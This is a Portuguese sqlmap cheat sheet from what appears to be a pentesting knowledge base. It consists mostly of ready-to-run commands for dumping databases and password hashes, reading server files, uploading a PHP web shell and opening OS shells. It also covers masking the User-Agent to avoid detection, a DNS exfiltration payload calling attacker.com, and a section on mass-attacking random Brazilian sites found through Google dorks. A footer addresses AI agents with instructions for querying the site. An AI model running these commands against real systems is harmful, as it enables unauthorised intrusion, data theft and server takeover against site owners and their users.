# SQLMAP

### Atualizando

```bash
sqlmap --update
# Ou
sudo apt install --only-upgrade sqlmap
```

### Erro de Certificado

Algumas vezes podemos receber erro de certificado `Erro de SSL: [CRITICAL] can't establish SSL connection` ao executar o sqlmap. Para resolver, basta abrir o Burp Suite, deixar no `Intercept Off`, e adicionar `--proxy="http://127.0.0.1:8080"` no final do comando do sqlmap. 

Ou caso queira ignorar o certificado de outra maneira, basta executar o Sqlmap da seguinte forma

```bash
sqlmap -u '<url>' --force-ssl 
```

### Listando os Databases

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
```

**OBS.:** Caso já saiba qual o tipo de banco de dados, pode definí-lo para agilizar o processo, adicionando ao final do comando `--dbms=mysql`.

Baixando todos os databases, exceto `sysdbs`.

```bash
sqlmap -u "<url>" --dump-all --exclude-sysdbs
```

###

### Listando as Tabelas

Do database atual

```bash
sqlmap --url "<url>" -D <database> --tables
```

Retorna as tabelas de todos os databases

```bash
sqlmap -u "<url>" --tables --dump
```

Visualizando a estrutura de todas as tabelas do database atual

```bash
sqlmap -u "<url>" --schema
```

### Listando as Colunas de uma Tabela

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D <database> -T <table> --columns
```

###

### Salvando as Informações (Dump)

Agora iremos pegar todas os valores das colunas e fazer um dump em CSV dessas informações. Também é possível salvar em HTML ou sqlite,  o parâmetro `--dump-format`. Remova o `-C <column>`.

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D <database> -T <table> -C <column_name>,<other_column_name>,<other_column_name> --dump
```

Caso queira trazer determinados registros da tabela, por exemplo, do 2º registro até o 5º, utilize o seguinte comando:

```bash
sqlmap -u "<url>" --dump -D <database> -T <tabela> --start=2 --stop=5
```

### Definindo qual Parâmetro deve ser Testado

```bash
sqlmap -u <url> -p <possivel_campo_vulneravel>
```

###

### Verificando o Database Atual

Verifica em qual database a aplicação web está conectada no momento

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
```

###

### Verificando o User Atual

Verifica qual o user que a aplicação web está utilizando no momento

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-user
```

###

### Pegando Versões do Banco de Dados, SO e Apache / NGNIX

Verifica o banner do Bando de Dados, e a versão do :

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --banner
```

###

### Verificando se o User Atual é DBA

DBA é um usuário com permissões especiais

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba
```

###

### Retornando Todos os Users do Banco de Dados

```bash
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --users
```

### Definindo a Quantidade de Colunas no Union

Só utilize esse parâmetro quando realmente souber quantas colunas devem ser enviadas no Union

```bash
sqlmap <url> --union-cols=<quantidade>
```

Por padrão o sqlmap utiliza NULL nos valores do Union, então podemos alterar esse valor da seguinte forma

```bash
sqlmap <url> --union-char='<valor_union>'
```

### Otimizando Scanners

Ativa todas as opções de otimização

```bash
sqlmap -u <url> -o --dbs
```

###

### Pesquinsando por nome de Tabelas e Colunas

Pesquisa por todas as tabelas que contem o nome `user` em seu nome. Esse filtro é semelhante a um `LIKE '%user%'`. Altere o user pela palavra-chave que deseja buscar

```bash
sqlmap -u "<url>" --search -T user
```

Nesse exemplo, não especificamos o database, então irá ser feito uma busca por todas as Datatables e todas as suas respectivas tabelas, o que pode levar um tempo considerável.

Da mesma forma do modo anterior de pesquisar trechos de nomes em tabelas, porém dessa vez em colunas. Vamos utilizar a string `pass` como exexmplo

```bash
sqlmap -u "<url>" --search -C pass
```

### Utilizando Condições WHERE

```bash
sqlmap -u "<url>" -D <database> -T <table> --dump --where="<condicao_where>"
```

### Lendo Arquivos do Servidor

```bash
sqlmap -u "<url>" --file-read=<file>
```

**OBS.:** Pode ser que o SQLMap não mostre o conteúdo do arquivo na tela, mas sim salvar no seu diretório. Leia a saída para ver o local do arquivo

###

### Executando Queries Personalizadas

```bash
sqlmap -u "<url>" --sql-query="SELECT * FROM <table>;"
```

**OBS.:** Adicione o `;` no final da query

###

### Alterando o User-Agent

O SQLMAP faz muito ruído e cria muitos registros em `/var/log/apache2/access.log` com o nome `sqlmap` em seu User-Agent.\
É sempre uma boa prática mascarar nosso User-Agent para não sermos detectados facilmente

```bash
sqlmap -u "<url>" --dbs --user-agent="<user_agent>"
```

**OBS.:** Caso prefira deixar que o SQLMAP escolha o User-Agent de forma aleatória, utilize o parâmentro `--random-agent` ao invés de `--user-agent="<user_agent>"`.

Caso esteja fazendo um teste onde o User-Agent tem que ser de um mobile, utilize o seguinte comando como exemplo para ter um valor válido randômico

```
sqlmap -u <url> --mobile
```

### Hashes de Usuários MySQL

```bash
sqlmap -u "<url>" --passwords --batch
```

### Criando Shell Interativo:

O SQLMAP cria um arquivo no `/var/www/html/` (o caminho pode ser definido caso precise) que serve como um Shell Reverso

```bash
sqlmap --url "<url>" --os-shell
```

### Upload de Arquivos

```bash
sqlmap -u "<url>" --file-write "<shell.php>" --file-dest "/var/www/html/<shell.php>"
```

### Prefixo e Sufixo

As vezes precisamos que nosso payload tenha determinado prefixo e/ou sufixo.

```bash
sqlmap -u "<url>/?id=param" --prefix="%'))" --suffix="-- -"
```

### Anti CRSF

Se não especificar o nome do valor, o sqlmap irá fazer uma pesquisa por possíveis e irá questionar qual deles deve ser tratado com um CSRF

```bash
sqlmap -u "<url>" --data="id=1&csrf-token=o9NEn4e1l2f3SndSnE8SvW4f8fpv" --csrf-token="csrf-token"
```

### Valores Random

Em alguns casos, é necessário enviar sempre um valor único nas requisições. Considere isso como um anti CSRF, porém mais fraco, pois esse valor informado não é validado, ele apenas precisa existir e não ser um valor repetido

```bash
sqlmap -u "<url>/?csrf=123456789" --randomize=csrf --batch
```

### Trabalhando com Cookies

```bash
sqlmap -u "<url>" --cookie='<cookie>' --dbs
```

### Definindo Payload como Verdadeiro

Determinada string na resposta de requisição

```bash
sqlmap <url> --string="<string>"
```

Valida status 200 HTTP como um payload com sucesso

```bash
sqlmap <url> --code=200
```

Valida o payload a partir do do HTML

```bash
sqlmap <url> --title="<string>"
```

### Executando Comandos no Shell

```bash
sqlmap --url "<url>" --os-cmd="<command>"
```

###

### Usando Threads

```bash
sqlmap -u "<url>" --threads=5 --dbs
```

###

### Usando Proxy

```bash
# Sem credenciais
sqlmap -u "<url>" --proxy="http://{ip}:{port}" --dbs
sqlmap -u <url> --proxy="socks4://<ip>:<port>"

# Com credenciais
sqlmap -u "<url>" --proxy="http://{ip}:{port}" --proxy-cred=<username>:<pass> --dbs
```

#### TOR

Inicie o TOR e execute o comando abaixo para verificar se realmente está funcionando. O sqlmap irá simplesmente acessar o site <https://check.torproject.org/> e verificar se está conectado corretamente

```bash
sqlmap --check-tor
```

Utilizando TOR nas requisições

```bash
sqlmap -u <url> --tor
```

### WAF

Utilize o parâmetro `--identify-waf`, que e o substituto do `--check-waf`

```bash
sqlmap -u "<url>" --identify-waf
```

Por padrão o sqlmap realiza verificações de WAF (o que gera mais ruídos e lentidão na finalização do scan). Para remover essa verificação inicial utilize o comando abaixo:

```bash
sqlmap -u <url> --skip-waf
```

### Eval (Python)

Repare que as variáveis no parâmetro `--eval`, tem o mesmo nome que os parâmetros passados via GET. Ao executar o comando dessa maneira, o valor de `token` (via GET) será o valor de `id` em MD5.

```
sqlmap -u 'http://site.com?id=1&token=3026178396' --dbms=mysql --eval="import hashlib; token=hashlib.md5(id).hexdigest()"
```

Caso queira ver quais URL estão sendo requisistadas, adicione `-v 5 | grep URI` no final do comando acima ou utilize algum proxy como o Burp Suite para realizar tal verificação.

### Level e Risco

Há também opções de `level` e `risk`, sendo estes parêmetros os responsáveis pelo ruído, que vai de 1 à 5 (1 o mais discreto e 5 o mais barulhento) no level e de 1 à 3 no risk:

```bash
sqlmap -u "<url>" --level=5 risk=3 --dbs
```

###

### Verbose

O modo verbose vai de 0 a 6 (o padrão é 1), sendo 0 (zero) o mais discreto e 6 o mais detalhado

```bash
sqlmap --url "<url>" --dbs -v 1
```

Caso for utilizar verbose em um nível, pode-se remover as "sujeiras" das respostas das páginas web.

```bash
sqlmap -u <url> -v 6 --text-only
```

### Out-of-band SQL Injection

```bash
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))
```

Este é considerado um dos tipos mais avançados de SQLi, usado nos casos em que todos os outros tipos não são suportados pelo aplicativo da Web vulnerável ou são muito lentos (por exemplo, Blind SQLi baseado em tempo). O SQLMap suporta SQLi fora de banda por meio de "exfiltração de DNS", em que as consultas solicitadas são recuperadas por meio do tráfego DNS.

Ao executar o SQLMap no servidor DNS para o domínio sob controle (por exemplo, .domain.com), o SQLMap pode executar o ataque forçando o servidor a solicitar subdomínios inexistentes (por exemplo, foo.domain.com), onde `foo` seria o Resposta SQL que queremos receber. O SQLMap pode então coletar essas solicitações de DNS com erro e coletar a parte `foo`, para formar a resposta SQL inteira.

### Limpando o Cache

O SQLMAP guarda todos os resultados em cache.\
Para zerar o cache e realizar uma nova consulta, utilize o parâmentro adicional `--flush-session`.

#### Utilizando Dorks para Atacar Sites Aleatórios

```bash
sqlmap -g 'inurl:noticias.php?id site:com.br' --dbs --gpage 2
```

O parâmetro `--gpage 2`, indica que será filtrado somente os sites da 2ª página do Google.\
**OBS.:** Essa Dork é a mesma utilizada pelo Google

Também pode utilizar o parâmetro `--beep` para emitir um som (beep) a cada site invadido com êxito.\
Assim não precisa ficar em frente o pc acompanhando os resultados

###

### Automatizando Respostas

Utilize o parâmetro `--batch` para aceitar todas as perguntas com respostas padrões (como se estivesse apertando ENTER)

```bash
sqlmap -g <dork> --dbs --batch
```

Para definir determinadas respostas para determinadas perguntas, utilize:

```bash
sqlmap -g <dork> --dbs --answers="test=Y,POST=y"
```

**OBS.:** Em `answers`, utilize como parâmetro, alguma palavra da pergunta

###

### Injections em Formulários (POST)

```bash
sqlmap -u {url} --forms --dbs
```

**OBS.:** Atente-se nas perguntas, pois uma precisa ser definido qual form será atacado, levando em conta de que uma página pode ter mais de um formulário.

Definindo qual campo do form que está vulnerável

```bash
sqlmap -u "<url>" --data="login=&senha" -p login --dbs
```

###

### Personalizando Inserção de Payload

Quando já sabemos de algum payload que já funciona, podemos utilizar o SqlMap para inserir comando em apenas uma parte do nosso payload

```bash
sqlmap -u '<url>' --data 'username=admin" * --"' --method POST -v3 --dbs
```

O SqlMap irá inserir o payload no lugar do `*`

### Método HTTP

```bash
sqlmap -u <site> --data='id=1' --method PUT
```

### Personalizando Headers

```bash
sqlmap -u '<url>' -H 'Content-type: Application/json' --dbs
```

###

### Arquivo de Request (Cabeçalho HTTP)

Podemos também utilizar um arquivo com configuração da requisição para que o Sqlmap leia e realize o ataque. Para isso, utilize ferramentas como o BurpSuite ou o `Tamper HTTP` (Plugin do Mozilla). Abaixo segue um exemplo abaixo:

```http
POST /torrent/login.php HTTP/1.1
Host: 10.10.10.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.6/torrent/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
DNT: 1
Connection: close
Cookie: PHPSESSID=76d0b2d828fb68a90dbf4285268c6781
Upgrade-Insecure-Requests: 1

username=admin&password=admin
```

Agora podemos utilizar o comando

```bash
sqlmap '<url>' -r <arquivo_cabecalho_http> --dbs
```

**OBS.:** Pode-se pegar esse cabeçalho com o Burp Suite , em `Proxy > Intercept`.

### Log de Tráfego

Útil para vermos os requests e responses de cada requisição e fazer uma análise manual​

```bash
sqlmap <url> -t <output-traffic.txt>
```

### Tamper

{% hint style="info" %}
**INFO**: Todos os scripts tamper ficam em `/usr/share/sqlmap/tamper`.
{% endhint %}

Listando todos os tampers disponíveis e suas descrições.

```bash
sqlmap --list-tampers
```

Convertendo o payload em charunicode

```bash
sqlmap -u <url> -d 'param=*' --tamper=charunicodeescape --dbs
```

Convertendo o payload em Hex e em Base64

```bash
sqlmap -u <url> -d 'param=*' --tamper=0x2char,base64encode --dbs
```

### Técnicas

Existem 6 tipos de técnicas que podemos utilizar para realizar uma invasão de SQL Injection, sendo elas:

| TÉCNICA                                            | DESCRIÇÃO                                                                                      | EXEMPLO                              |
| -------------------------------------------------- | ---------------------------------------------------------------------------------------------- | ------------------------------------ |
| <p></p><p><code>(B) Boolean-Based Blind</code></p> | <p></p><p>Com base nas mudanças de página, os dados são inferidos, caractere por caractere</p> | **`AND 1=1`**                        |
| `(E) Error-Based`                                  | Usa os erros que são exibidos para extrair dados                                               | **`AND GTID_SUBSET(@@version,0)`**   |
| `(U) Union Query-Based`                            | Mudanças de consultas SQL para extrair dados                                                   | **`UNION ALL SELECT 1,@@version,3`** |
| `(S) Stacked Queries`                              | Ponto e vírgula são usados para injetar várias declarações sobre a consulta SQL                | **`; DROP TABLE users`**             |
| `(T) Time-Based Blind`                             | Com base no tempo, os dados são inferidos, caractere por caractere                             | **`AND 1=IF(2>1,SLEEP(5),0)`**       |
| `(Q) Inline Queries`                               | Utiliza Sub-query                                                                              | **`SELECT (SELECT @@version) from`** |

Para selecionar uma ou mais opções, utilize as suas iniciais (exceto `Inline Queries`, que é representada pela letra `Q`), por exemplo:

```bash
sqlmap -u '<url>' --technique=BEUSTQ
```

Neste exemplo, será executado todas as 5 técnicas (que é o default do SQLMAP), pois indica a inicial de todos os ataques.

####

#### Sites

```bash
# Sqlmap
https://github.com/sqlmapproject/sqlmap/wiki/Usage
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/sql-injection/sqlmap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.